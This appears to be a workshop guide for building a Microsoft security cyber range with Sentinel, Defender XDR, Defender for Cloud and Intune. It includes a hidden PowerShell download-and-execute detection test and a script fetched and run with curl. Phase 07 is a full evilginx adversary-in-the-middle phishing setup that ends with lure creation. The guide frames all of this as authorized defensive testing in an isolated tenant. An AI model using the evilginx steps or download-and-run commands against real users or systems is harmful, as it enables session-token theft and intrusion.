Cyber Range
A complete, workshop-ready build for a Microsoft security range - Defender XDR, Microsoft Sentinel in the unified portal, and Defender for Cloud - then a live victim estate of servers and four managed clients, and a full attack→detect→defend exercise that fires a real Entra ID detection and then shuts it down with phishing-resistant passkeys.
Use the Portal / Bicep · CLI switch in the header to flip every build step between click-along portal paths (great live) and infrastructure-as-code (great for rebuilds and for thinking like a cloud security engineer). Blue marks the build & defend track; amber marks the attack & detect thread. Tick steps off as you go - progress is saved in your browser. Never stood up an Azure tenant before? Start at Phase 00 - it takes you from creating an account to signing in before any building begins, and each phase links out to Microsoft's own step-by-step articles.
Prerequisites, licensing & tenant baseline
Objective: stand up an isolated tenant + subscription with the right licenses, roles, and break-glass safety net so nothing in the range can touch production and every detection plane later has what it needs to light up.
Build this range in a dedicated tenant and subscription that hold nothing else. A cyber range deliberately generates malicious-looking signal and, in Phase 07, a real identity attack - keeping it in its own tenant means that noise, and that blast radius, can never reach anything you care about. If you have never created an Azure account or a Microsoft 365 tenant before, that is exactly what this phase walks you through, from zero.
An Azure account, starting from nothing
An Azure account is the identity you sign in with; a subscription is the billing container your resources live in. If you have neither, create them first:
- Open the Azure free account page and select Start free. You sign in with (or create) a Microsoft account, verify a phone number, and add a card for identity verification only. New accounts get $200 of credit for 30 days plus a set of always-free services.
- You'll land in the Azure portal - the web console you'll use for the entire Portal track. Use the top search bar to open Subscriptions and confirm one is listed.
It runs 6 VMs plus Defender for Servers, all billed by the hour. The $200 trial credit comfortably covers a workshop, but deallocate or delete the VMs when you finish (see teardown in the appendix) so you're not burning credit while it sits idle.
A Microsoft 365 tenant + the security stack
Your account already includes a Microsoft Entra tenant (your directory of users and sign-ins). To unlock Defender XDR, Entra ID Protection, Intune, and Attack Simulation Training, that tenant needs licenses - and the simplest way to get them all at once is a Microsoft 365 E5 trial. Microsoft publishes a first-timer, click-by-click lab-setup walkthrough for exactly this; follow it to create the E5 trial tenant, then come back here.
- Microsoft 365 E5 trial - 25 licenses for a month; covers Defender XDR, Entra ID P2, Intune, and Defender for Office 365 P2 (which powers Attack Simulation Training).
- Defender for Cloud / Defender for Servers - turned on separately on the Azure subscription in Phase 04; per-hour billing with a 30-day free trial.
Licensing you'll lean on
The range touches a lot of Microsoft security products, but the licensing is simpler than it looks. A single Microsoft 365 E5 license covers the entire identity and XDR side: Defender XDR, all of Microsoft Entra ID P2 - which includes Conditional Access, authentication strengths, passkeys, and Identity Protection risk detections - plus Intune and Attack Simulation Training. (M365 E5 includes Enterprise Mobility + Security E5, which is where Entra ID P2 comes from.) The only two costs outside E5 are Azure services you switch on in your own subscription and pay for by usage: Microsoft Sentinel (billed on data ingested) and Microsoft Defender for Cloud / Defender for Servers (per VM-hour, 30-day free trial). Nothing here needs a separate identity add-on.
| Capability | What it needs | Included in M365 E5? | Phase |
|---|---|---|---|
| Defender XDR (endpoints, identity, apps, email) | MDE P2 + MDO P2 + MDI + Defender for Cloud Apps | ✓ In E5 | 03 |
| Microsoft Entra ID P2 - Conditional Access, auth strengths, passkeys, Identity Protection | Entra ID P2 (includes all P1 features) | ✓ In E5 | 07-08 |
| Microsoft Intune - enrollment + MDE policy | Entra ID P1 + Intune Plan 1 | ✓ In E5 | 06 |
| Attack Simulation Training | Defender for Office 365 Plan 2 | ✓ In E5 | 07 |
| ID Protection risk detections (Anomalous Token, Attacker in the Middle) | Entra ID P2 + Defender for Cloud Apps | ✓ In E5 | 07 |
| Microsoft Sentinel (SIEM) | Log Analytics data ingestion | Azure - pay-as-you-go | 02 |
| Defender for Cloud / Defender for Servers Plan 2 | Azure subscription plan | Azure - per VM-hour | 04-06 |
Every piece has a trial: an E5 trial (which includes EMS E5, so Entra ID P2 comes with it), a 90-day Defender for Office 365 P2 trial, and Defender for Cloud's 30-day free tier. Combined with the Azure free credit, a range you rebuild for each workshop can run almost entirely on trials.
Roles & the break-glass account
Onboarding Sentinel to the Defender portal requires an unconditional Owner (or User Access Administrator) at subscription scope - a conditional role assignment will silently fail to surface the workspace. For the security config you'll want Global Administrator or a split of Security Administrator + Intune Administrator + Conditional Access Administrator + Authentication Policy Administrator.
Before you write a single Conditional Access policy in Phase 08, create two cloud-only break-glass accounts with long passphrases, exclude them from every CA policy, and store the credentials offline. This is the one step people skip and regret.
Naming & region
Resource names here follow Cloud Adoption Framework style in Central US (cus) - a consistent type-workload-environment-region pattern (for example rg-cyberrange-prod-cus) that keeps everything easy to find and filter later. There is nothing special about these exact names; swap the region abbreviation for whichever Azure region is closest to you. If naming conventions are new to you, the linked article explains the pattern.
Portal, Bicep, or both
Every build step is written twice - use the Portal ⇄ Bicep / CLI switch in the header to choose which one you see.
- Portal track - point-and-click in your browser at portal.azure.com. Nothing to install; best for following along live and seeing what each setting looks like.
- Bicep / CLI track - infrastructure as code you can re-run to rebuild the entire range in minutes. This is how a cloud engineer would do it.
The easiest way to run the Bicep track, especially your first time, is Azure Cloud Shell: click the >_ icon at the top of the Azure portal and you get a terminal with the Azure CLI and Bicep already installed and already signed in - nothing to set up. Prefer to work locally? Install the Azure CLI (version 2.20.0+) and the Bicep tooling installs itself the first time a command needs it.
What it is: Bicep is a small, readable language that describes Azure resources in a .bicep text file. You hand the file to Azure and it builds everything in it - the same result as clicking through the portal, but repeatable and reviewable.
The loop you'll repeat in every Bicep step below:
- Save the code block to a file, e.g.
01-network.bicep. In Cloud Shell, use Upload/Download files → Upload, or typecode 01-network.bicepto paste it into the built-in editor. - Create the resource group once:
az group create -n rg-cyberrange-prod-cus -l centralus. - Deploy the file into it:
az deployment group create -g rg-cyberrange-prod-cus --template-file 01-network.bicep. - Look for "provisioningState": "Succeeded" in the output, then confirm the new resources in the portal.
Parameters & secrets: a line like param adminUser string is a value you pass at deploy time with --parameters adminUser=rangeadmin. A @secure() parameter (a password) is never shown on screen - leave it off the command and the CLI prompts you for it privately. For authoring, VS Code + the Bicep extension gives you autocomplete and inline validation.
Connect the CLI to your subscription. Skip this if you're using Cloud Shell - you're already signed in there.
az login
az account show -o table # confirm the right subscription is active
# az account set --subscription "<name-or-id>" # only if you have more than one
Landing zone & network
Objective: a resource group, a segmented VNet, a locked-down NSG, Azure Bastion for console access with no public RDP/SSH, and the Log Analytics workspace that becomes Sentinel in the next phase.
The network is deliberately boring and safe: servers and clients live in separate subnets, the internet cannot reach management ports, and you reach every VM through Bastion. Everything the range does that's dangerous happens inside the tenant or against an external throwaway host in Phase 07 - never through an exposed VM.
- Create the resource group: portal.azure.com → Resource groups → Create → name
rg-cyberrange-prod-cus, region Central US. - Create → Virtual network. Address space
10.50.0.0/16. Add subnets:snet-servers(10.50.1.0/24),snet-clients(10.50.2.0/24), andAzureBastionSubnet(10.50.255.0/26 - the name must be exact). - Create a Network security group
nsg-cyberrange, associate it to the server and client subnets, and confirm the default rules deny inbound internet. Do not add public RDP/3389 or SSH/22 allow rules. - Create → Azure Bastion in the VNet (Standard SKU is fine). This is your only inbound path to the VMs.
- Create → Log Analytics workspace →
law-cyberrange-prod-cusin Central US. This is the future Sentinel workspace.
Save as 01-network.bicep and deploy at resource-group scope. This creates the VNet, subnets, NSG, Bastion (with its public IP), and the Log Analytics workspace.
param location string = 'centralus'
param tags object = { workload: 'cyberrange', env: 'prod' }
resource law 'Microsoft.OperationalInsights/workspaces@2023-09-01' = {
name: 'law-cyberrange-prod-cus'
location: location
tags: tags
properties: { sku: { name: 'PerGB2018' }, retentionInDays: 90 }
}
resource nsg 'Microsoft.Network/networkSecurityGroups@2023-11-01' = {
name: 'nsg-cyberrange'
location: location
properties: {
// no inbound RDP/SSH from internet - Bastion only
securityRules: [ {
name: 'deny-inbound-mgmt-internet'
properties: {
priority: 4000, direction: 'Inbound', access: 'Deny'
protocol: '*', sourceAddressPrefix: 'Internet'
sourcePortRange: '*', destinationAddressPrefix: '*'
destinationPortRanges: [ '22', '3389' ]
}
} ]
}
}
resource vnet 'Microsoft.Network/virtualNetworks@2023-11-01' = {
name: 'vnet-cyberrange-prod-cus'
location: location
properties: {
addressSpace: { addressPrefixes: [ '10.50.0.0/16' ] }
subnets: [
{ name: 'snet-servers', properties: { addressPrefix: '10.50.1.0/24', networkSecurityGroup: { id: nsg.id } } }
{ name: 'snet-clients', properties: { addressPrefix: '10.50.2.0/24', networkSecurityGroup: { id: nsg.id } } }
{ name: 'AzureBastionSubnet', properties: { addressPrefix: '10.50.255.0/26' } }
]
}
}
resource bastionPip 'Microsoft.Network/publicIPAddresses@2023-11-01' = {
name: 'pip-bastion-cyberrange'
location: location
sku: { name: 'Standard' }
properties: { publicIPAllocationMethod: 'Static' }
}
resource bastion 'Microsoft.Network/bastionHosts@2023-11-01' = {
name: 'bas-cyberrange'
location: location
sku: { name: 'Standard' }
properties: { ipConfigurations: [ {
name: 'ipcfg'
properties: {
subnet: { id: '${vnet.id}/subnets/AzureBastionSubnet' }
publicIPAddress: { id: bastionPip.id }
}
} ] }
}
output workspaceId string = law.id
az group create -n rg-cyberrange-prod-cus -l centralus
az deployment group create \
-g rg-cyberrange-prod-cus \
--template-file 01-network.bicep
Bastion shows Succeeded, the three subnets exist, and the NSG has no internet-sourced allow rule on 22/3389. You should be unable to RDP a VM's public IP later - that's correct.
Microsoft Sentinel in the unified portal
Objective: enable Sentinel on the workspace and connect it to the Microsoft Defender portal (security.microsoft.com), so the SIEM and Defender XDR share one incident queue and one hunting surface.
Microsoft Sentinel is now generally available inside the Defender portal, and the standalone Azure-portal experience retires after March 31, 2027. A brand-new workspace - the first in the tenant, onboarded after July 1, 2025 - whose owner holds subscription Owner is auto-onboarded to the Defender portal, and the Azure blade simply redirects to it. Either way, the work finishes in the unified portal.
Step 1 - Enable Sentinel on the workspace
- portal.azure.com → Microsoft Sentinel → Create → select
law-cyberrange-prod-cus→ Add. - Open Sentinel → Content hub → search Microsoft Defender XDR → Install.
- Data connectors → Microsoft Defender XDR → Open connector page → connect incidents + entities. Confirm the prerequisites are green.
param location string = 'centralus'
resource law 'Microsoft.OperationalInsights/workspaces@2023-09-01' existing = {
name: 'law-cyberrange-prod-cus'
}
// Enabling Sentinel = creating the onboarding state on the workspace
resource sentinel 'Microsoft.SecurityInsights/onboardingStates@2024-03-01' = {
scope: law
name: 'default'
properties: {}
}
Then install the Microsoft Defender XDR solution from Content Hub and enable its data connector - the connector's incident/alert stream is what keeps Azure and Defender portals in sync when you're not fully unified.
Step 2 - Connect the workspace to the Defender portal
- Go to security.microsoft.com and sign in.
- System → Settings → Microsoft Sentinel → Connect a workspace.
- Select
law-cyberrange-prod-cus, set it as the primary workspace, read the product-change notes, and select Connect.
When it finishes, the Defender portal Home shows Sentinel metrics (data connectors, automation rules) and your SIEM and XDR data share one incident queue.
The Defender portal binds to one Entra tenant and one primary workspace. Pick the range workspace as primary deliberately - that's the workspace whose alerts get correlated with Defender XDR into unified incidents.
Microsoft Defender XDR
Objective: turn on Defender XDR, provision its workloads (Endpoint, Office 365, Identity, Cloud Apps), and wire the Intune ↔ Defender for Endpoint connection that Phase 06 depends on.
Defender XDR isn't a thing you deploy so much as a thing you turn on and then feed. It provisions automatically the first time an eligible admin opens the portal.
Step 1 - Turn it on
- Go to security.microsoft.com as Global Administrator or Security Administrator.
- Select any of Incidents & alerts, Hunting, or Threat analytics - that first click provisions the service and picks a data-center location (it matches your Defender for Endpoint region if one exists).
Step 2 - Deploy the supported workloads
XDR only sees what you've deployed. Provision each workload so the range has cross-domain signal to correlate.
| Workload | How it's deployed |
|---|---|
| Defender for Endpoint | Onboarding happens in Phase 06 (clients via Intune) and Phase 04 (servers via Defender for Cloud) |
| Defender for Office 365 | Provisioned with Office 365; configure anti-phish / Safe Links policies. Powers Attack Simulation Training in Phase 07 |
| Defender for Identity | Only needed if you add the AD DS appendix; sensor installs on a domain controller |
| Defender for Cloud Apps | Sign in once to provision. Critical for Phase 07 - its connectors are what raise the AiTM and session-cookie-replay detections |
Step 3 - Connect Intune to Defender for Endpoint
This one-time, per-tenant service-to-service link is what lets Intune push MDE onboarding automatically in Phase 06.
- intune.microsoft.com → Endpoint security → Microsoft Defender for Endpoint. If Connection status is already Enabled, you're done.
- If not, open security.microsoft.com → System → Settings → Endpoints → Advanced features, turn Microsoft Intune connection to On, and Save preferences.
Sentinel is GA in the Defender portal even without Defender XDR or E5 - but the cross-domain correlation and the identity detections you want in Phase 07 are what the E5 stack buys you.
Microsoft Defender for Cloud
Objective: enable Defender for Cloud with Defender for Servers Plan 2 so that MDE auto-onboards onto every server VM - Windows and Linux - the moment it exists, with zero per-machine work.
Server onboarding is hands-off. You do not manually onboard the file server or the Linux web box - turn on Defender for Servers Plan 2 and Defender for Cloud auto-provisions the Defender for Endpoint sensor on supported Azure VMs. Plan 2 gives servers the same protection MDE Plan 2 gives clients, billed per-hour.
Enable Defender for Servers
- portal.azure.com → Microsoft Defender for Cloud → Environment settings → select your subscription.
- On the Defender plans page, toggle Servers to On (it defaults to Plan 2; use Change plans only if you want Plan 1) → Save.
- The Defender for Endpoint integration is on by default - confirm it under Settings & monitoring. This is what auto-deploys the MDE sensor.
- To use Plan 2 extras like File Integrity Monitoring, also enable Plan 2 on
law-cyberrange-prod-cus. - Keep the default Microsoft Cloud Security Benchmark assignment for CSPM recommendations.
Enable the Servers plan (Plan 2) and confirm the MDE integration on the subscription:
# 1) Check current state - "Free" means it isn't enabled yet
az security pricing show -n VirtualMachines --query pricingTier -o tsv
# 2) Enable Defender for Servers. tier 'standard' = Plan 2 by default
# (add --subplan 'P1' for the cheaper plan). Starts a 30-day free trial.
az security pricing create -n VirtualMachines --tier 'standard'
# 3) Confirm the Defender for Endpoint (WDATP) integration is on - this is
# what auto-deploys the MDE sensor. Replace $SUB with your subscription ID.
az rest --method put \
--url "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Security/settings/WDATP?api-version=2022-05-01" \
--body '{"name":"WDATP","type":"Microsoft.Security/settings","kind":"DataExportSettings","properties":{"enabled":true}}'
For many subscriptions, use the built-in initiative “Configure Microsoft Defender for Cloud plans” assigned at a management group, and the “Configure Azure Defender for Servers to be enabled” policy - one assignment covers every current and future subscription underneath.
Route the signal into Sentinel
Under Defender for Cloud → Environment settings → Continuous export, stream security alerts and recommendations to law-cyberrange-prod-cus. Now Defender for Cloud alerts land in the same SIEM as everything else.
Linux auto-onboarding needs Python 3 present (required for Ubuntu 20.04+) and outbound access to the MDE service URLs. Auto-deploy can misbehave on hosts running fanotify-based services - the Ubuntu web box in Phase 05 is clean, so it onboards fine.
The live environment
Objective: deploy the six workloads - a Windows file server, an Ubuntu web-app server running a deliberately vulnerable app, and four Windows 11 Enterprise clients - into the subnets from Phase 01.
This is the estate your analysts will hunt across. Keep the servers in snet-servers and the clients in snet-clients. No VM gets a public management port - you already have Bastion.
The file server - vm-fs01
Windows Server 2025 Datacenter. The file share is not part of the VM-create wizard, and in particular it is not the Disks tab (that tab is only the VM's own OS and data disks). You build the share inside Windows after the VM boots: connect over Bastion, add the File and Storage Services / File Server role, create a share (say \\vm-fs01\Finance), and turn on object-access auditing so file-access telemetry shows up on the MDE timeline, which is handy for ransomware and data-staging scenarios later. The default 30 GiB OS disk holds a small lab share fine; add a data disk on the Disks tab only if you want the share on its own storage.
The web app server - vm-web01
Ubuntu 22.04 LTS running OWASP Juice Shop on Docker - a deliberately vulnerable web app (free and widely used for training) that gives you realistic web-attack telemetry to correlate. Keep it reachable only from your own admin IP address, not the open internet.
Four clients - vm-cli01 … vm-cli04
Windows 11 Enterprise. These are the workstations that get Entra-joined and Intune-managed in Phase 06, and one of their users is the Phase 07 target.
Windows Server 2025 and Windows 11 each want roughly 4 GiB of RAM to run the OS plus the Defender for Endpoint sensor without crawling, so skip the 1 GiB burstable sizes (B2ats_v2, B2ts_v2). These templates default to the B-series v2 burstable family: Standard_B2s_v2 (2 vCPU / 8 GiB) for the clients and file server, and Standard_B2ls_v2 (2 vCPU / 4 GiB) for the Ubuntu box. Two things to confirm first. Quota: new subscriptions often start with little or no quota for this family, and the Intel (Bsv2) and AMD (Basv2) families count separately - the range needs about 12 vCPU of your chosen family (14 with the Phase 07 attacker box). Open Subscriptions → Usage + quotas, filter to your region and family, and check you have room. If you do not, either request an increase there (small burstable bumps usually auto-approve within minutes) or switch to a size you already have quota for, such as Standard_D2s_v5 - it just costs a little more per hour. Availability: sizes and image SKUs also vary by region and zone, so if one is not offered, list what is with az vm list-skus -l centralus --size Standard_B --all -o table and swap it in. Keep every VM in one family so they draw from one quota pool.
Deallocate every VM when you stop for the day so the burstable machines stop billing compute. A VM that is merely shut down from inside Windows still bills; it has to be deallocated in Azure. One line stops the whole range: az vm deallocate --ids $(az vm list -g rg-cyberrange-prod-cus --query "[].id" -o tsv). Full teardown is in the appendix.
- Create a VM →
vm-fs01, image Windows Server 2025 Datacenter: Azure Edition, intosnet-servers, no public inbound ports. Repeat forvm-web01with Ubuntu Server 22.04 LTS. - For the four clients, create one
vm-cli01from the Windows 11 Enterprise image intosnet-clients, then use Create again or capture-and-clone for the rest. (This is exactly where the Bicep track saves you.) - Once
vm-fs01is running, connect over Bastion and build the share inside Windows. Fastest path, in an elevated PowerShell: Install-WindowsFeature FS-FileServer; New-Item C:\Shares\Finance -ItemType Directory; New-SmbShare -Name Finance -Path C:\Shares\Finance -FullAccess Everyone, then auditpol /set /subcategory:"File System" /success:enable. GUI equivalent: Server Manager → File and Storage Services → Shares → New Share. - On
vm-web01via Bastion: install Docker and run Juice Shop (commands in the Bicep track's cloud-init below).
The four clients are a single loop - exactly what infrastructure as code is built for. Below: the client module (a for range) and the two servers. NICs attach to the subnets from Phase 01; none get a public IP.
param location string = 'centralus'
param adminUser string
@secure()
param adminPass string
param clientCount int = 4
param vmSize string = 'Standard_B2s_v2' // Intel Bsv2, 2 vCPU / 8 GiB burstable; bump to Standard_D2s_v5 for snappier clients
resource vnet 'Microsoft.Network/virtualNetworks@2023-11-01' existing = {
name: 'vnet-cyberrange-prod-cus'
}
resource nic 'Microsoft.Network/networkInterfaces@2023-11-01' = [for i in range(1, clientCount): {
name: 'nic-cli${padLeft(string(i),2,'0')}'
location: location
properties: { ipConfigurations: [ {
name: 'ipcfg'
properties: {
subnet: { id: '${vnet.id}/subnets/snet-clients' }
privateIPAllocationMethod: 'Dynamic'
}
} ] }
}]
resource cli 'Microsoft.Compute/virtualMachines@2024-03-01' = [for i in range(1, clientCount): {
name: 'vm-cli${padLeft(string(i),2,'0')}'
location: location
identity: { type: 'SystemAssigned' } // required for Entra join (Phase 06)
properties: {
hardwareProfile: { vmSize: vmSize }
osProfile: {
computerName: 'cli${padLeft(string(i),2,'0')}'
adminUsername: adminUser
adminPassword: adminPass
}
storageProfile: {
imageReference: {
publisher: 'MicrosoftWindowsDesktop'
offer: 'windows-11'
sku: 'win11-25h2-ent'
version: 'latest'
}
osDisk: { createOption: 'FromImage', managedDisk: { storageAccountType: 'StandardSSD_LRS' } }
}
networkProfile: { networkInterfaces: [ { id: nic[i-1].id } ] }
}
}]
az deployment group create -g rg-cyberrange-prod-cus \
--template-file 05-clients.bicep \
--parameters adminUser=rangeadmin adminPass=<strong-pass>
# file server (Windows Server 2025) into snet-servers
az vm create -g rg-cyberrange-prod-cus -n vm-fs01 \
--image MicrosoftWindowsServer:WindowsServer:2025-datacenter-azure-edition:latest \
--size Standard_B2s_v2 \
--vnet-name vnet-cyberrange-prod-cus --subnet snet-servers \
--public-ip-address "" --assign-identity \
--admin-username rangeadmin --admin-password '<strong-pass>'
# web app server (Ubuntu 22.04) into snet-servers, Juice Shop via cloud-init
az vm create -g rg-cyberrange-prod-cus -n vm-web01 \
--image Canonical:0001-com-ubuntu-server-jammy:22_04-lts-gen2:latest \
--size Standard_B2ls_v2 \
--vnet-name vnet-cyberrange-prod-cus --subnet snet-servers \
--public-ip-address "" --assign-identity \
--admin-username rangeadmin --generate-ssh-keys \
--custom-data cloud-init-web.yaml
#cloud-config
package_update: true
packages: [ docker.io ]
runcmd:
- systemctl enable --now docker
- docker run -d --restart always -p 3000:3000 bkimminich/juice-shop
Marketplace image SKUs gain new versions over time, so rather than trusting a hard-coded one, list what's current right before you deploy: az vm image list --publisher MicrosoftWindowsDesktop --offer windows-11 --all -o table for Windows 11, and az vm image list --publisher Canonical --offer 0001-com-ubuntu-server-jammy --all -o table for Ubuntu. If a deployment stops on licensing terms, accept them once with az vm image terms accept --urn <publisher:offer:sku:version>.
Every VM you want Entra-joined in Phase 06 needs a system-assigned managed identity. Without it, the Entra-join extension fails silently - the single most common reason a lab VM never appears in Intune. The Bicep and --assign-identity above handle it; if you build in the portal, enable it under the VM's Identity blade.
Intune enrollment & MDE auto-deploy
Objective: Entra-join and Intune-enroll the four clients, push MDE onto them automatically via an EDR onboarding policy, and confirm the two servers picked up MDE from Defender for Servers. End state: every workload reporting into the device inventory.
Two clean, supported paths converge in the device inventory: clients are Entra-joined → Intune-enrolled → MDE via an Intune EDR policy; servers get MDE from Defender for Servers (Phase 04), which is the sanctioned “automatic” path for Windows and Linux servers - you don't Intune-enroll them. (If you specifically want servers under Intune too, Security Settings Management / MDE-attach is the bridge, but it isn't required here.)
Step 1 - Turn on Intune MDM auto-enrollment
- entra.microsoft.com (or portal.azure.com) → Microsoft Entra ID → Mobility (MDM and MAM) → Microsoft Intune.
- Set MDM user scope to All (or a pilot group), keep the default MDM URLs, and Save. This is what makes an Entra-joined device auto-enroll into Intune. (Requires Entra ID P1.)
Step 2 - Entra-join + enroll the four clients
Two ways, both cloud-native:
- Connect to
vm-cli01through Bastion. - Run the Windows 11 out-of-box experience → Set up for work or school → sign in with a range user (
analyst01@yourlab.com). - The device joins Entra ID and auto-enrolls in Intune because MDM scope = All. Confirm under Settings → Accounts → Access work or school.
- Repeat for
vm-cli02…04, distributing a couple of range users across them so sign-in telemetry looks human.
The AADLoginForWindows extension Entra-joins the VM; combined with the MDM auto-enrollment scope from Step 1 and the system-assigned identity from Phase 05, the device registers and enrolls. Loop it over the four clients.
for i in $(seq -w 1 4); do
az vm extension set \
-g rg-cyberrange-prod-cus --vm-name "vm-cli${i}" \
--name AADLoginForWindows \
--publisher Microsoft.Azure.ActiveDirectory
done
The join silently fails without (1) a system-assigned managed identity on the VM and (2) MDM auto-enrollment enabled. You also can't then domain-join the VM to anything else - which is exactly what you want for a cloud-native range.
Step 3 - Push MDE onto the clients via Intune
- intune.microsoft.com → Endpoint security → Endpoint detection and response → EDR Onboarding Status tab → Deploy preconfigured policy (fastest), or Create Policy for granular control.
- If creating manually: Platform Windows, Profile Endpoint detection and response, and set the package type to Auto from connector - the onboarding blob comes straight from the Intune ↔ MDE link you made in Phase 03.
- Assign to All devices (or your client group). Onboarding is one-time per device.
Step 4 - Verify everything reports in
Give it 5-20 minutes, then check security.microsoft.com → Assets → Devices. You should see the four clients and both servers. Run a detection test to confirm the sensor is live:
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden `
(New-Object System.Net.WebClient).DownloadFile(
'http://127.0.0.1/1.exe',
"$env:temp\invoice.exe"); Start-Process "$env:temp\invoice.exe"
Within minutes an alert appears on the device's timeline in the Defender portal, confirming EDR is reporting.
# confirm the sensor onboarded via Defender for Servers
mdatp health --field org_id
mdatp health --field real_time_protection_enabled
# AV detection test (EICAR - harmless)
curl -o /tmp/eicar.com.txt https://secure.eicar.org/eicar.com.txt
mdatp threat list
# EDR detection test
curl -o mde_edr.sh https://aka.ms/MDE-Linux-EDR-DIY
chmod +x mde_edr.sh && ./mde_edr.sh
Device inventory shows 6 onboarded machines; each detection test raises an alert in the Defender portal. The range now has endpoint eyes everywhere.
AiTM phishing → a real Entra ID detection
Objective: run an adversary-in-the-middle sign-in against a seeded test account, fire the Attacker in the Middle / Anomalous Token risk detections in Entra ID Protection, and trace them through the unified portal and Sentinel - the signal you'll defeat in Phase 08.
Run it only inside the isolated range tenant, against the dedicated, unprivileged seeded account (e.g. aitm-target@yourlab.com) created for it, from infrastructure outside the range network, with authorization to test, and tear that infrastructure down afterward. Everything here targets an account you own, to validate your own detections.
Why AiTM matters - and what actually fires the detection
Adversary-in-the-middle phishing beats ordinary MFA because the attacker doesn't steal a password - they proxy the whole authenticated session and steal the issued token. The victim really does complete MFA; the attacker just pockets the resulting session cookie and replays it. That token replay is precisely what Entra ID Protection is tuned to catch.
Two ways to run the attack
There are two ways to generate this signal. Attack Simulation Training is the built-in, hands-off option and a solid warm-up; the evilginx reverse proxy is the real adversary-in-the-middle attack that produces the genuine Entra ID Protection detection. Run them back to back - the contrast between what each one sets off is the lesson.
Option A - Attack Simulation Training
Defender for Office 365 ships with a built-in phishing range. In security.microsoft.com → Email & collaboration → Attack simulation training, launch a Credential Harvest (or Link in Attachment) simulation against the seeded account only. Microsoft hosts the fake login page, discards anything typed into it, and records the click and the “compromise” event.
It generates Defender for Office 365 phishing and compromise telemetry and assigns user training. It does not raise the Identity Protection Attacker in the Middle or Anomalous Token detections, because it never proxies a live sign-in - no real token is ever issued or replayed. Treat it as the email-side exercise; Option B produces the identity detection this phase is built around.
Option B - evilginx reverse proxy (the real AiTM)
evilginx is an open-source adversary-in-the-middle framework. It stands up a reverse proxy in front of the genuine Microsoft sign-in, relays the target's credentials and MFA to Entra ID in real time, and captures the session cookie Entra hands back once MFA succeeds. Replaying that cookie is what trips the detection. The steps below are a complete lab build. One file is left to the project itself: the Microsoft phishlet - the YAML that defines how the proxy mirrors the Microsoft login. Operators load a maintained phishlet from the evilginx project rather than writing one by hand, so download the Microsoft (o365) phishlet from the project, drop it into the phishlets/ folder, and enable it by name.
evilginx needs its own Linux machine with a public IP address, kept separate from the range so its sign-ins arrive from an unfamiliar network - that novelty is part of what Identity Protection scores. The most approachable way to get one, using exactly what the Azure Fundamentals course covers, is a small Ubuntu virtual machine in Azure, placed in its own resource group (not the range's). Its own public IP is the “outside” origin you need.
- portal.azure.com → search Virtual machines → Create → Azure virtual machine.
- Resource group: Create new →
rg-cyberrange-attacker- a brand-new group, deliberately separate from the range. - Virtual machine name
vm-evilginx; Image Ubuntu Server 22.04 LTS; Size B1s or B2s (a dollar or two of credit). - Authentication type SSH public key; Username
azureuser; leave Generate new key pair selected. - Under Inbound port rules, allow SSH (22) for now. Review + create → Create, and when prompted Download private key - keep that file safe; it's how you log in.
- Open the VM → Networking → Add inbound port rule for 80, 443, and 53 (add 53 for both TCP and UDP). Note the Public IP address on the VM's Overview page.
- Connect: on the VM, Connect → SSH shows the exact command, or from your own terminal run
ssh -i <downloaded-key>.pem azureuser@<public-ip>.
# Its OWN resource group - not the range RG
az group create -n rg-cyberrange-attacker -l centralus
# Small Ubuntu VM with a public IP and an auto-generated SSH key
az vm create -g rg-cyberrange-attacker -n vm-evilginx \
--image Canonical:0001-com-ubuntu-server-jammy:22_04-lts-gen2:latest \
--size Standard_B1s --admin-username azureuser \
--generate-ssh-keys --public-ip-sku Standard
# Open the ports evilginx needs
az vm open-port -g rg-cyberrange-attacker -n vm-evilginx \
--port 22,53,80,443 --priority 100
# Print the public IP, then SSH in (keys land in ~/.ssh)
az vm show -d -g rg-cyberrange-attacker -n vm-evilginx --query publicIps -o tsv
ssh azureuser@<public-ip>
Because this VM shares your subscription, Defender for Servers may onboard it too - harmless, just ignore any alerts on vm-evilginx. Keeping it in its own resource group means one command cleans it up when you're done: az group delete -n rg-cyberrange-attacker.
evilginx serves the fake login on a domain and uses it to obtain a TLS certificate, so you need one. Any cheap domain works - a few dollars, thrown away afterward.
An NSG allow rule for port 53 is not enough — Azure's platform blocks UDP 53 upstream of the NSG, so NS delegation to the VM simply does not work. Do not configure evilginx to run its own DNS and do not delegate NS records to the VM. Use the registrar's own nameservers with a wildcard A record pointing at the VM IP.
- Register a low-cost domain at a registrar such as Cloudflare, Namecheap, or Porkbun (roughly $1-12/year). Choose a plain, forgettable name - not one that imitates a real company.
- In the registrar's DNS panel, add a wildcard A record: host
*, value<VM-public-IP>. This covers every subdomain the phishlet needs (login, portal, account, www, etc.) in one record without requiring NS delegation. - Give DNS a few minutes to propagate, then confirm from the VM:
nslookup login.yourdomain.example 8.8.8.8should return the VM IP.
Over SSH on the attacker VM, install the dependencies, free port 53, fix DNS resolution, and build evilginx from the official project. Copy-paste the block as-is — order matters.
# install build tools + tmux; free port 53 (Ubuntu's stub resolver holds it)
sudo apt update && sudo apt install -y git make golang-go tmux
sudo systemctl disable --now systemd-resolved
# IMPORTANT: disabling systemd-resolved breaks /etc/resolv.conf (it was a symlink)
# restore outbound DNS so the VM can still reach the internet
sudo rm -f /etc/resolv.conf
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf
sudo ss -ulnp | grep :53 # should return no output; if it does, another process still holds 53
# download and build evilginx from the official repo
git clone https://github.com/kgretzky/evilginx2 && cd evilginx2
make
# start a persistent tmux session so evilginx keeps running if your SSH drops
tmux new -s evilginx
# inside tmux: launch evilginx (binary path from repo README)
sudo ~/evilginx2/build/evilginx -p ~/evilginx2/phishlets
Detach (leave running): Ctrl+B then D. Reattach later: tmux attach -t evilginx. New window: Ctrl+B then C. evilginx must stay running while it issues TLS certificates — if the process dies mid-challenge, Let's Encrypt may rate-limit that hostname for an hour.
You're now at the evilginx : prompt. Set the phishing domain and the VM's public IP, bind the Microsoft phishlet to your domain, enable it, and create a lure. Command names can shift between versions - check the project wiki if one is rejected.
config domain must be the apex domainSet it to yourdomain.example — not login.yourdomain.example or any subdomain. evilginx derives the phishlet subdomains from this root; setting a subdomain here causes cert issuance to fail silently.
# replace the names with your own throwaway values
: config domain yourdomain.example # apex domain only - not a subdomain
: config ipv4 <VM-PUBLIC-IP>
: phishlets hostname o365 login.yourdomain.example
: phishlets enable o365 # 'o365' = the phishlet file you added; triggers TLS cert issuance
: lures create o365
: lures get-url 0 # the single link you deliver
